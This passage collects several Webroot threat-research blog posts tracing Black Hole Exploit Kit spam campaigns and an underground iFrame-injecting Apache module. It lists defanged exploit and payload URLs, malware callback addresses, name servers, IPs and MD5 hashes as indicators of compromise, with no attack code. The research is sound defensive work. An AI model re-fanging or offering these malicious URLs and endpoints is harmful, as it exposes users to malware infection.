ns3.ceredinopl.ru – 132.248.49.112
ns30.ceredinopl.ru – 87.204.199.100
ns31.ceredinopl.ru – 199.71.212.78
ns32.ceredinopl.ru – 173.224.209.66
ns33.ceredinopl.ru – 62.76.188.246
ns34.ceredinopl.ru – 50.23.137.202
ns35.ceredinopl.ru – 95.154.43.193
ns36.ceredinopl.ru – 188.138.92.16
ns37.ceredinopl.ru – 64.150.187.72
ns38.ceredinopl.ru – 84.22.100.108
ns39.ceredinopl.ru – 184.106.189.124
ns4.ceredinopl.ru – 65.99.223.24
ns40.ceredinopl.ru – 116.12.49.68
ns41.ceredinopl.ru – 178.63.51.54
ns42.ceredinopl.ru – 120.89.91.57
ns43.ceredinopl.ru – 213.251.171.30
ns44.ceredinopl.ru – 85.125.81.51
ns5.ceredinopl.ru – 50.22.102.132
ns6.ceredinopl.ru – 41.168.5.140
ns7.ceredinopl.ru – 209.51.221.247

ns8.ceredinopl.ru – 203.80.16.81
ns9.ceredinopl.ru – 175.136.239.146

Upon successful client-side exploitation the campaign drops **MD5: 9db13467c50ef248eaf6c796dffdd19c** – detected by 3 out of 41 antivirus scanners as PWS-Zbot.gen.aqw.

Responding to the same IPs – 203.80.16.81 (AS24514); 208.87.243.131; 216.24.196.66 (AS40676); 202.180.221.186 (AS24496) – are also the following malicious domains:
investinindia.ru hamasutra.ru feronialopam.ru monacofrm.ru bamanaco.ru ionalio.ru investomanio.ru veneziolo.ru fanatiaono.ru analunakis.ru

We've already seen and profiled some of these domains used in another malicious spam campaign, indicating that both campaigns have been launched by the same cybercriminal/gang of cybercriminals:

monacofrm.ru – seen in "'**Copies of Missing EPLI Policies' themed emails lead to Black Hole Exploit Kit** "
investomanio.ru – seen in "'**Copies of Missing EPLI Policies' themed emails lead to Black Hole Exploit Kit** "
veneziolo.ru – seen in "'**Copies of Missing EPLI Policies' themed emails lead to Black Hole Exploit Kit** "

Name servers part of the campaign's infrastructure:
ns1.investinindia.ru – 62.76.178.233
ns2.investinindia.ru – 41.168.5.140
ns3.investinindia.ru – 132.248.49.112
ns4.investinindia.ru – 209.51.221.247
ns1.hamasutra.ru – 62.76.178.233
ns2.hamasutra.ru – 41.168.5.140
ns3.hamasutra.ru – 132.248.49.112
ns4.hamasutra.ru – 209.51.221.247
ns1.feronialopam.ru – 62.76.178.233
ns2.feronialopam.ru – 41.168.5.140
ns3.feronialopam.ru – 132.248.49.112
ns4.feronialopam.ru – 209.51.221.247
ns1.monacofrm.ru – 62.76.178.233
ns2.monacofrm.ru – 41.168.5.140

ns3.monacofrm.ru – 132.248.49.112
ns4.monacofrm.ru – 209.51.221.247
ns1.bamanaco.ru – 62.76.178.233
ns2.bamanaco.ru – 41.168.5.140
ns3.bamanaco.ru – 132.248.49.112
ns4.bamanaco.ru – 209.51.221.247
ns1.ionalio.ru – 62.76.178.233
ns2.ionalio.ru – 41.168.5.140
ns3.ionalio.ru – 132.248.49.112
ns4.ionalio.ru – 209.51.221.247
ns1.investomanio.ru – 62.76.178.233
ns2.investomanio.ru – 41.168.5.140
ns3.investomanio.ru – 132.248.49.112
ns4.investomanio.ru – 209.51.221.247
ns1.veneziolo.ru – 62.76.178.233
ns2.veneziolo.ru – 41.168.5.140
ns3.veneziolo.ru – 132.248.49.112
ns4.veneziolo.ru – 209.51.221.247
ns1.fanatiaono.ru – 62.76.178.233
ns2.fanatiaono.ru – 41.168.5.140
ns3.fanatiaono.ru – 132.248.49.112
ns4.fanatiaono.ru – 209.51.221.247
ns1.analunakis.ru – 62.76.178.233
ns2.analunakis.ru – 41.168.5.140
ns3.analunakis.ru – 132.248.49.112
ns4.analunakis.ru – 209.51.221.247

This isn’t the first time that we intercept a Facebook notifications themed malicious attack. During October, 2012, we intercepted two – “**Bogus Facebook notifications lead to malware** “; “**Cybercriminals spamvertise millions of bogus Facebook notifications, serve malware** “.

You can also consider going through previously analyzed Facebook themed malicious campaigns:

Malware campaign spreading via Facebook direct messages spotted in the wild Spamvertised ‘You have 1 lost message on Facebook’ campaign leads to pharmaceutical scams

If users feel they received a bogus email that may not be coming from Facebook, they can alert Facebook by forwarding the message to **phish@fb.com** . In addition, users can check to see if their account has been compromised by visiting **www.facebook.com/hacked** .

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Multiple 'Inter-company' invoice themed campaigns serve malware and client-side exploits - Webroot Blog

facebook linkedin twitter

Over the past few weeks, cybercriminals have been persistently spamvertising 'Inter-company invoice' themed emails, in an attempt to trick users into viewing the malicious .html attachment, or unpack and execute the malicious binary found in the attached archives. Upon clicking on the link, users are exposed to the client-side exploits served by the latest version of the **Black Hole Exploit Kit** .

More details: **Sample screenshot of the spamvertised email:**

Client-side exploits serving URL: *hxxp://controlleramo.ru:8080/forum/links/column.php*

Malicious payload dropping URL : *hxxp://controlleramo.ru:8080/forum/links/column.php?hljhtc=33:2v:1h:2w:1m&uqsgtl=3h&hzwtug=2v:1k:1m:32:33:1k:1k:31:1j:1o&ttr=1n:1d:1g:1d:1h:1d:1f*

Sample client-side exploits served: *CVE-2010-0188*

Malicious domain name reconnaissance: controlleramo.ru
Name server: **ns1.controlleramo.ru** – 62.76.186.190
Name server: **ns2.controlleramo.ru** – 132.248.49.112
Name server: **ns3.controlleramo.ru** – 84.22.100.108
Name server: **ns4.controlleramo.ru** – 65.99.223.24

We've already seen the same domain used in another malicious attack – "'**Copies of Missing EPLI Policies' themed emails lead to Black Hole Exploit Kit** ", indicating that they've been both launched by the same party.

Upon successful client-side exploitation the campaign drops **MD5: de48416449621ecd62b116cc41aa5bcc** – detected by 30 out of 44 antivirus scanners as Worm:Win32/Cridex.E.

The first sample obtained from the attached archive, **MD5: 03f5311ef1b9f7f09f6e13ff9599f367** – is detected by 40 out of 44 antivirus scanners as Worm:Win32/Cridex.E. Upon execution the sample phones back to **95.142.167.193:8080/mx/5/A/in/** (AS29169). We've seen another malware campaign also phoning back to the same IP – "'**Regarding your Friendster password' themed emails lead to Black Hole exploit kit** ".

More MD5s are known to have phoned back to it as well:

MD5: cf6f40f1ce37fd8edefc447f68a88e1f – detected by 34 out of 41 antivirus scanners as VirTool:Win32/CeeInject

MD5: 2d2358dc42cd1abe0beda21b6db3a61c – detected by 27 out of 42 antivirus scanners as HEUR:Trojan.Win32.Generic

MD5: d4153d2c325d729c82fd8a96a94435f2 – detected by 39 out of 44 antivirus scanners as Worm:Win32/Cridex.E

MD5: e6f66ce084b9cc2f3f2f8c35b1636ab8 – detected by 21 out of 42 antivirus scanners as VirTool:Win32/Obfuscator.ZA

MD5: 45992c5b7fb455a0e15466a1e8a8c0f0 – detected by 38 out of 44 antivirus scanners as Worm:Win32/Cridex.G

MD5: d5de95df9a69bef997c21f9be9b0fc88 – detected by 37 out of 42 antivirus scanners as Trojan-Ransom.Win32.Birele.uhu

MD5: 56a35fa27f04131f86f0cd44bd8480c3 – detected by 32 out of 40 antivirus scanners as Worm:Win32/Cridex.E

MD5: de05549b469984316e0ec99a1bfe843a – detected by 39 out of 44 antivirus scanners as Trojan-Ransom.Win32.PornoAsset.akna

MD5: 7b9f0a74820a00b34cc57e7c02d1492c – detected by 39 out of 44 antivirus scanners as Worm:Win32/Cridex.E

The second sample obtained from yet another spamvertised archive with **MD5: 3a8ce3d72b60b105783d74dbc65c37a6** – is detected by 37 out of 44 antivirus scanners as Worm:Win32/Cridex.E. Upon execution it phones back to the following URL: **188.40.0.138:8080/AJtw/UCyqrDAA/Ud+asDAA** (AS24940, HETZNER-AS).

We've already seen malware analyzed in previous campaigns phoning back to the same URL, indicating that these campaigns have been launched by the same party – "**Cybercriminals spamvertise bogus 'Microsoft License Orders' serve client-side**

exploits and malware “; “**Spamvertised ‘US Airways reservation confirmation’ themed emails serve exploits and malware** “.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals release stealthy DIY mass iFrame injecting Apache 2 modules - Webroot Blog

facebook linkedin twitter

What would an attacker do if they were attempting to inject malicious iFrames on as many Web sites as possible? Would they rely on **search engines' reconnaissance** as a foundation fo their **efficient exploitation process** , data mine a **botnet's infected population** for **accounting data** related to **CPanel** , **FTP** and SSH accounts, purchase access to botnet logs, unethically pen-test a Web property's infrastructure, or hit the jackpot with an ingenious idea that's been trending as of recently within the cybercrime ecosystem? No, they wouldn't rely on any of these. They would just **seek access to servers** hosting **as many domains as possible** and efficiently embed malicious iFrames on each and every .php/.html/.js found within these domains. At least that's what the cybercriminal operations that I'll elaborate on in this post are all about. Let's take a peek at a recently advertised DIY mass iFrame injecting Apache 2.x module that appears to have already been responsible for a variety of security incidents across the globe.

This module makes it virtually impossible for a webmaster to remove the infection from their Web site, affects millions of users in the process, and earns thousands of dollars for the cybercriminals operating it. More details: The Apache 2.x based **stealth module** is capable of inserting and rotating iFrames on all pages at a particular website hosted on the compromised server. The process will only work with a cookie+unique IP in an attempt by the cybercriminal behind the kit to make the process of analyzing the module harder to perform. The module would also not reveal the iFrame URL to search engines, Google Chrome and Linux users, as well as local IP. For the time being its price is $1,000. **Sample screenshot of the underground market advertisement of the malicious Apache 2 module:**

What’s worth emphasizing about this particular cybercrime ecosystem ad is the fact that the author of the Apache 2 module is OPSEC-unaware (**Operational Security**). What he did is to basically mention research articles profiling the activities of his cybercrime-friendly release, referring to it as – ***Feedback from “customers”*** □ –

A logical question emerges – what’s the ROI (Return on Investment) from this practice? Pretty decent according to statistics released by the author in an attempt to demonstrate just how much money selling **scareware (fake security software)** can be made using his malicious module. **Sample statistics released by the author of the malicious module:**

As you can see in the attached screenshot, thousands of users continue installing and purchasing **fake antivirus software products** , driving a steady flow of income to the accounts of the cybercriminal(s) operating these campaigns. Moreover, the statistics also indicate that thousands of users, visiting their favorite and trusted websites, are getting exploited through client-side exploits like the ones served by the market leading Black Hole Exploit Kit , thanks to the malicious Apache 2 module. Is the development of such stealth modules a trend or a fad? Cybercriminals aren’t suffering from a shortage of legitimate traffic, at least for the time being. Geolocated underground Web traffic exchanges supply a constant stream of unique IPs to be converted to malware-infected hosts, through practices such as **spam** , **black hat SEO** (search engine optimization), **malvertising** **,** **cybercrime-friendly search engines** , and **bogus multi-topic content farms** spread across legitimate Web properties. **Sample price list for iFrame driven geolocated traffic for a thousand unique visitors:**

We’ll continue monitoring this emerging trend, and post updates as soon as new developments take place. *You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals spamvertise millions of FDIC 'Your activity is discontinued' themed emails, serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

A currently ongoing spam campaign attempts to trick users into thinking that their ability to send Domestic Wire Transfers has been disabled. Impersonating the **Federal Deposit Insurance Corporation (FDIC)** , the cybercriminals behind the campaign are potentially earning thousands of dollars in the process of monetizing the anticipated traffic.

Once users click on the bogus 'secure download link', they're automatically exposed to the client-side exploits served by the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample of compromised URLs used in the campaign: *hxxp://greetingsjackass.com/securefdicinform.html* ; *hxxp://www.galaxiafilm.it/securefdicinform.html* ; *hxxp://www.esv-hochkogel.at/securefdicinform.html*

Client-side exploits serving URL: *hxxp://stifferreminders.pro/detects/fdic-information_gather.php*

Malicious payload serving URL: *hxxp://stifferreminders.pro/detects/fdic-information_gather.php?fooxj=31:2v:30:1i:1o&otlzvl=2w&hmhzxma=1f:30:1k:1k:1h:1l:2w:2v:2w:1m&sgiq=1n:1d:1f:1d:1f:1d:1j:1k:1l*

Client-side exploits served: *CVE-2010-0188*

Malicious domain name reconnaissance: stifferreminders.pro – 198.27.94.80 (AS16276) – Email: kee_mckibben0869@macfreak.com

Name Server:**NS1.CHELSEAFUN.NET** Name Server:**NS2.CHELSEAFUN.NE** T

These are well known name servers currently in use by the same cybercriminals that launched the following malicious campaigns – "'**Your Discover Card Services Blockaded' themed emails serve client-side exploits and malware** "; "'**Payroll Account Holded by Intuit' themed emails lead to Black Hole Exploit Kit** "; "'**PayPal Account Modified' themed emails lead to Black Hole Exploit Kit** "; "**Cybercriminals resume spamvertising 'Payroll Account Cancelled by Intuit' themed emails, serve client-side exploits and malware** ".

The following malicious domains also respond to the same IP: headerandfooterprebuilt.pro
fixedmib.net
stafffire.net

We've already seen these domains used in previously profiled malicious campaigns:
headerandfooterprebuilt.pro – seen in "**Cybercriminals resume spamvertising 'Payroll Account Cancelled by Intuit' themed emails, serve client-side exploits and malware** "
fixedmib.net – seen in "**Cybercriminals resume spamvertising 'Payroll Account Cancelled by Intuit' themed emails, serve client-side exploits and malware** "
stafffire.net – seen in "**Spamvertised 'Your UPS delivery tracking' emails serving client-side exploits and malware** "; "**BofA 'Online Banking Passcode Reset' themed emails serve client-side exploits and malware** "; "**Bogus Better Business Bureau themed notifications serve client-side exploits and malware** ".

Upon successful client-side exploitation, the campaign drops **MD5: 61bc6ad497c97c44b30dd4e5b3b02132** – detected by 2 out of 42 antivirus scanners as UDS:DangerousObject.Multi.Generic.

Once executed, the sample phones back to **hxxp://182.237.17.180:8080/DPNilBA/ue1elBAAAA/tlSHAAAAA/**

We'll continue monitoring the malicious activities of this group/individual, and post updates as soon as new activity takes place.

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Cybercriminals resume spamvertising 'Payroll Account Cancelled by Intuit' themed emails, serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Cybercriminals have resumed spamvertising the **Intuit Direct Deposit Service Informer themed malicious emails** , which we intercepted and profiled earlier this month. While using an identical email template, the cybercriminals behind the campaign have introduced new client-side exploits serving domains, which ultimately lead to the latest version of the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample spamvertised compromised URLs: *hxxp://purebodyaromatherapy.com/wp-content/plugins/akismet/intuipayr.html* ; *hxxp://mori-system.com/wp-content/plugins/akismet/intuipayr.html* ; *hxxp://unlimitedleverage.com/wp-content/plugins/akismet/intuipayr.html* ; *hxxp://oktoberfestkids.com/wp-content/plugins/akismet/intuipayr.html* ; *hxxp://myfaircredit.com/wp-content/plugins/akismet/intuipayr.html* ; *hxxp://car-rental-24.com/wp-content/plugins/akismet/intuipayr.html* ; *hxxp://frdmd.com/wp-content/plugins/akismet/intuipayr.html* ; *hxxp://m-sters.com/wp-content/plugins/intuipayr.html* ; *hxxp://purebodyaromatherapy.com/wp-content/plugins/akismet/intuipayr.html* ; *hxxp://forletteredwords.com/wp-content/plugins/akismet/intuipayr.html* ; *hxxp://ivanaldavert.com/wp-content/plugins/akismet/intuipayr.html* ; *hxxp://uznay-kak.com/wp-content/plugins/akismet/intuipayr.html* ; *hxxp://choosehomefengshui.com/wp-content/plugins/akismet/intuipayr.html* ;

hxxp://oktoberfestkids.com/wp-content/plugins/akismet/intuipayr.html ; *hxxp://leahsbeautyconcepts.com/wp-content/plugins/akismet/intuipayr.html*

Client-side exploits serving URL: *hxxp://cosmic-calls.net/detects/mixing-evened-quits-spot.php*

Malicious payload dropping URL: *hxxp://cosmic-calls.net/detects/mixing-evened-quits-spot.php?xpu=2w:31:33:1o:1g&ftzajz=3a&jlzjamgn=1k:2w:32:30:1n:1h:33:31:2v:2w&xlxsjzzi=1n:1d:1f:1d:1f:1d:1j:1k:1l*

Sample client-side exploits served: *CVE-2010-0188*

Malicious domain name reconnaissance: cosmic-calls.net – 108.171.243.172, AS40676 – Email: samyidea@aol.com, used to respond to 75.127.15.39
108.171.243.172
Name Server: **NS1.CHELSEAFUN.NET** Name Server: **NS2.CHELSEAFUN.NET**

We've already seen these name servers in related and recently launched campaigns by the same cybercriminal/gang of cybercriminals – "**'Payroll Account Holded by Intuit' themed emails lead to Black Hole Exploit Kit** "; "'**Your Discover Card Services Blockaded' themed emails serve client-side exploits and malware** ".

Upon successful client-side exploitation, the campaign drops **MD5: 896bae2880071c3a63d659a157d5c16f** – detected by 33 out of 44 antivirus scanners as Worm:Win32/Cridex.E.

Upon execution, the sample phones back to **hxxp://203.172.238.18:8080/DPNilBA/ue1elBAAAA/tISHAAAAA/** (AS23974, Ministry of Education, Thailand). The following domain has also responded to this IP in the past: **phnomrung.com** (Name server: **ns1.banbu.ac.th –** currently responding to 208.91.197.101).

Two MD5s are known to have phoned back to the same IP (203.172.238.18:) MD5: 11AA0450551F89A17B4F2A66793D9408 – detected by 8 out of 44 antivirus scanners as Win32:Injector-AVZ [Trj]

MD5: f739f99f978290f5fc9a812f2a559bbb – detected by 23 out of 43 antivirus scanners as VirTool:Win32/CeeInject.EW

The main name servers used in the campaign, **NS1.CHELSEAFUN.NET** and **NS2.CHELSEAFUN.NET,** are also currently offering their services to the following malicious domains, participating in related campaigns:

performingandroidtoios.info (*hxxp://performingandroidtoios.info/detects/ill_arise_pushed_addressing.php*) – 199.59.166.108 – Email: cherilynn_yakibchuk192@cabacabana.com
headerandfooterprebuilt.pro (*hxxp://headerandfooterprebuilt.pro/detects/quality_flyes-ticket_check.php*) – 198.27.94.80 – Email: kee_mckibben0869@macfreak.com
fixedmib.net (*hxxp://fixedmib.net/detects/fiscal_reduce.php*) – 198.27.94.80 – Email: kessley_khouzam484@gh2000.com

We only managed to reproduce **performingandroidtoios.info** ‘s malicious activity. Upon successful client-side exploitation, it drops **MD5: fa762aba0abc5ed38a179fcaa6597033** – detected by 24 out of 44 antivirus scanners as PWS:Win32/Zbot.

Once executed, the sample creates the following files on the affected hosts: MD5: 856A129FBAA3BBEF5B9F0FDDC6629C9D
MD5: 0B452576E3AEC9C0CBB1D68763F8AB44
MD5: 65EAFD7470C2122C519DBA22BF59B2D0
MD5: E56D76F26BD5976234B2D82984944334

The sample also initiates a DNS request to **0704271d3a758a87.com** which is currently not responding. We also got additional MD5s that are known to have initiated similar DNS requests such as :
MD5: 9ed4ad1a26aa16aa4dd82ac9b785643e – detected by 27 out of 44 antivirus scanners as PWS:Win32/Zbot
MD5: 8b49e0df4e85f9a6fb6b14189a40b96b – detected by 28 out of 43 antivirus scanners as Trojan.Win32.Bublik.rmy
MD5: 76c6047e54d33e1ca5cfd8d589558d4b – detected by 4 out of 44 antivirus scanners as UDS:DangerousObject.Multi.Generic
MD5: 66561083053fb218e9e62f0a1ba545aa – detected by 28 out

of 44 antivirus scanners as Trojan-Spy.Win32.Zbot.gjfd
MD5: 37e9d96104ba0c1b6ad6bdf700cf827c – detected by 27 out of 44 antivirus scanners as HEUR:Trojan.Win32.Generic
MD5: 0b22575888b4ee19452799025583b274 – detected by 29 out of 43 antivirus scanners as PWS:Win32/Zbot
MD5: 7e4de7064b069225a76654acff04e20d – detected by 18 out of 43 antivirus scanners as Trojan:Win32/Meredrop
MD5: 177b680098f710b81e6ef22bcae284b2 – detected by 34 out of 44 antivirus scanners as Trojan-Spy.Win32.Zbot.fdae
MD5: 76931198d990aee951f8e604794fe24a – detected by 27 out of 42 antivirus scanners as PWS:Win32/Zbot
MD5: c7c2e2c7613563298a6c68c0088e259f – detected by 9 out of 13 antivirus scanners as Trojan-Spy.Win32.Zbot

This isn’t the first time that cybercriminals have targeted Intuit’s customers. Go through related analysis of previously profiled malicious campaigns impersonating the company:

‘Payroll Account Holded by Intuit’ themed emails lead to Black Hole Exploit Kit ‘Intuit Payroll Confirmation inquiry’ themed emails lead to the Black Hole exploit kit Intuit themed ‘QuickBooks Update: Urgent’ emails lead to Black Hole exploit kit Cybercriminals impersonate Intuit Market, mass mail millions of exploits and malware serving emails Spamvertised Intuit themed emails lead to Black Hole exploit kit

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals spamvertise bogus 'Microsoft License Orders' serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently mass mailing millions of emails impersonating Microsoft Corporation in an attempt to trick users into clicking on a link in a bogus 'License Order" confirmation email. Upon clicking on the link, users are exposed to the client-side exploits served by the latest version of the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample compromised URL used in the campaign: *hxxp://kalender.mn-welt.de/page2.htm*

Sample client-side exploits serving URL: *hxxp://fidelocastroo.ru:8080/forum/links/column.php*

Sample payload serving URL: *hxxp://fidelocastroo.ru:8080/forum/links/column.php?sojhnkxv=030a380233&vjmm=3307093738070736060b&qkzwsj=03&jqgvx=hszplzo&maxtgox=obazeot*

Sample client-side exploit served: *CVE-2010-0188*

Malicious domain name reconnaissance: fidelocastroo.ru – 209.51.221.247; 203.80.16.81
Name server: **ns1.fidelocastroo.ru** – 85.143.166.170
Name server: **ns2.fidelocastroo.ru** – 132.248.49.112
Name server: **ns3.fidelocastroo.ru** – 84.22.100.108
Name server: **ns4.fidelocastroo.ru** – 213.251.171.30

The following domains also respond to **209.51.221.247** : **kennedyana.ru leprasmotra.ru windowonu.ru bakface.ru wikipediastore.ru linkrdin.ru secondhand4u.ru**

We've already seen **secondhand4u.ru** and **linkrdin.ru** used in the previously profiled "'**Fwd: Scan from a Xerox W. Pro' themed** emails lead to Black Hole Exploit Kit " malicious campaign, indicating that both campaigns have been launched by the same party.

Upon successful client-side exploitation, the Microsoft Windows License themed campaign drops MD5: d5211a7882c3c3e66f4a7db04c2a0280 – detected by 37 out of 44 antivirus scanners as Trojan.Win32.Bublik.obv

Once executed, the sample creates the following file on the affected host: %AppData%KB00121600.exe – MD5: D5211A7882C3C3E66F4A7DB04C2A0280 – detected by 37 out of 44 antivirus scanners as Trojan.Win32.Bublik.obv

It then phones back to **188.40.0.138:8080/AJtw/UCygrDAA/Ud+asDAA** (AS24940). We've already seen the same pseudo-random characters used in the "'American Express Alert: Your Transaction is Aborted' themed emails serve client-side exploits and malware " campaign.

More MD5s are known to have phoned back to the same IP in the past. For instance: MD5: 850c3b497224cee9086ad9ad6a2f71e6 – detected by 4 out of 44 antivirus scanners as UDS:DangerousObject.Multi.Generic
MD5: 2c20575eb1c1ac2da222d0b47639434e – detected by 34 out of 44 antivirus scanners as Trojan-Ransom.Win32.PornoAsset.ascm
MD5: d9eaad9b06e500f7a0cd90a02f537364 – detected by 29 out of 44 antivirus scanners as PWS:Win32/Zbot
MD5: 92978246ab42f68c323c36e62593d4ee – detected by 31 out of 43 antivirus scanners as HEUR:Trojan.Win32.Invader
MD5: 03f5311ef1b9f7f09f6e13ff9599f367 – detected by 35 out of 44 antivirus scanners as Worm:Win32/Cridex.E
MD5: d343eb0ab2703ae3623eb1504f321018 – detected by 37 out of 44 antivirus scanners as Worm:Win32/Cridex.E
MD5: 7b9f0a74820a00b34cc57e7c02d1492c – detected by 39 out of 44 antivirus scanners as W32.Cridex
MD5: cdbc0ba05ce8214d8877c658b648bc7e – detected by 36 out of 44 antivirus scanners as W32.Cridex
MD5: 7515448fa3aa1ee585311b80dab7ca87 – detected by 38 out of 44 antivirus scanners as Trojan-Ransom.Win32.PornoAsset.aaql

MD5: 19f481447e1adf70245582d4f4f5719c – detected by 40 out of 43 antivirus scanners as Worm:Win32/Cridex.E
MD5: ABD0A8FCF1B728B14A9412F6ECF32586 – detected by 27 out of 44 antivirus scanners as Heuristic.BehavesLike.Win32.Suspicious-BAY.K
MD5: 63F0092762566A87BE777A008CE3C511 – detected by 31 out of 44 antivirus scanners as Trojan.Reveton.AN
MD5: BFFC8545808E0F5E1148BDD2A0FBF79E – detected by 39 out of 43 antivirus scanners as Worm:Win32/Cridex.E
MD5: C83877421A4A88B38F155DF2BF786B6A – detected by 24 out of 44 antivirus scanners as Gen:Variant.Kazy.105014
MD5: C379D30CCDC4A57088F8D137DF525CCD – detected by 29 out of 44 antivirus scanners as Trojan.Win32.Bublik.nrz
MD5: 42F36DB25B25196B454771751F8C1B89 – detected by 35 out of 44 antivirus scanners as Malware.Cridex
MD5: 3A8CE3D72B60B105783D74DBC65C37A6 – detected by 33 out of 42 antivirus scanners as Trojan.Win32.Bublik.ols
MD5: EB242D0BFCE8DAA6CC2B45CA339512A0 – detected by 25 out of 43 antivirus scanners as Win32:LockScreen-LV [Trj]
MD5: CDBC0BA05CE8214D8877C658B648BC7E – detected by 36 out of 44 antivirus scanners as Win32:Kryptik-KGB [Trj]
MD5: 733D33FF69013658D50328221254E80C – detected by 25 out of 43 antivirus scanners as Win32.Citadel
MD5: 963FE8239C00318DFF5BF55B866252C3 – detected by 39 out of 44 antivirus scanners as Trojan:W32/Injector.AH
MD5: 0D4FE02D89102B67A722027759EB40D1 – detected by 40 out of 44 antivirus scanners as Gen:Variant.Kazy.102147
MD5: F8254130C26B227616C0939FBE73B9C7

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

'Copies of Missing EPLI Policies' themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Attempting to achieve a higher click-through rate for their exploits and malware serving malicious campaign, cybercriminals are currently spamvertising millions of emails attempting to trick users into thinking they've become part of a private conversation about missing **EPLI policies** .

In reality, clicking on any of the links in the oddly formulated email will expose them to the client-side exploits served by the latest version of the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample spamvertised and compromised URLs used in the campaign: *hxxp://visage.ie/catalog/infourl.htm* ; *hxxp://www.dace.nul.usb.ve/infourl.htm* ; *hxxp://www.radclivecumchackmore.org.uk/drupal/sites/default/files/infourl.htm* ; *hxxp://www.sgsoluciones.com.ar/sites/default/files/infourl.htm* ; *hxxp://www.mv-ettlingenweier.de/sites/default/files/infourl.htm* ; *hxxp://lanhaituandui.com/infourl.htm* ; *hxxp://www.mv-ettlingenweier.de/sites/default/files/infourl.htm* ; *hxxp://www.radclivecumchackmore.org.uk/drupal/sites/default/files/infourl.htm* ; *hxxp://erotictrust.info/sites/all/themes/infourl.htm* ; *hxxp://www.cardissa.fr/sites/default/files/infourl.htm* ; *hxxp://mercurycube.com/infourl.htm* ; *hxxp://www.fest-for-alle.dk/infourl.htm* ; *hxxp://www.catriders.com/infourl.htm*

Sample client-side exploits serving URL: *hxxp://monacofrm.ru:8080/forum/links/column.php*

Malicious domain name reconnaissance: monacofrm.ru – 202.180.221.186, AS24496; 203.80.16.81, AS24514; 216.24.194.66,

AS40676
Name server: **ns1.monacofrm.ru** – 62.76.178.233
Name server: **ns2.monacofrm.r** u – 41.168.5.140
Name server: **ns3.monacofrm.ru** – 132.248.49.112
Name server: **ns4.monacofrm.ru** – 209.51.221.247

The following malicious domains also respond to these IPs: canadianpanakota.ru lemonadiom.ru peneloipin.ru veneziolo.ru forumibiza.ru controlleramo.ru moneymakergrow.ru fionadix.ru linkrdin.ru geforceexlusive.ru

We've already seen **lemonadiom.ru** in another malicious campaign – "**'Fwd: Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit** ", as well as **linkrdin.ru** in the following malicious campaigns: "**'Fwd: Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit** "; "**Cybercriminals spamvertise bogus 'Microsoft License Orders' serve client-side exploits and malware** ". Clearly, these campaigns are operated by the same cybercriminal/gang of cybercriminals.

Sample detection rate for the javascript redirector: **MD5: 65077fafa6632a43015320272c6a5776** – detected by 10 out of 44 antivirus scanners as Mal/JSRedir-M

Sample detection rate for a live client-side exploit: *hxxp://monacofrm.ru:8080/forum/data/spn2.jar* – SHANIKA.jar – **MD5: d44ffa6065298d8b87900a7b9b16a494** – detected by 10 out of 44 antivirus scanners as Exploit.Java.CVE-2012-5076.A

Upon successful client-side exploitation, the campaign drops **MD5: eadc019f64bbc6c162631db2430cb9a7** – detected by 15 out of 44 antivirus scanners as Trojan-Spy.Win32.Zbot.gkjh

We also know is that on 2012-11-12 10:58:07, the following client-side exploits serving domain was also responding to the same IP (**202.180.221.186**) – *hxxp://canadianpanakota.ru:8080/forum/links/column.php.* Upon successful client-side exploitation, this URL dropped **MD5: 532bdd2565cae7b84cb26e4cf02f42a0** – detected by 33 out of 44 antivirus scanners as Worm:Win32/Cridex.E.

We’re also aware of two more client-side exploits serving domains responding to the same IP (**202.180.221.186**) on 2012-11-15 19:49:33 – *hxxp://investomanio.ru/forum/links/public_version.php* , and on the 2012-11-15 04:40:06 – *hxxp://veneziolo.ru/forum/links/column.php* .

Name servers part of the campaign’s infrastructure: Name server: **ns1.canadianpanakota.ru** – 62.76.178.233
Name server: **ns2.canadianpanakota.ru** – 132.248.49.112
Name server: **ns3.canadianpanakota.ru** – 84.22.100.108
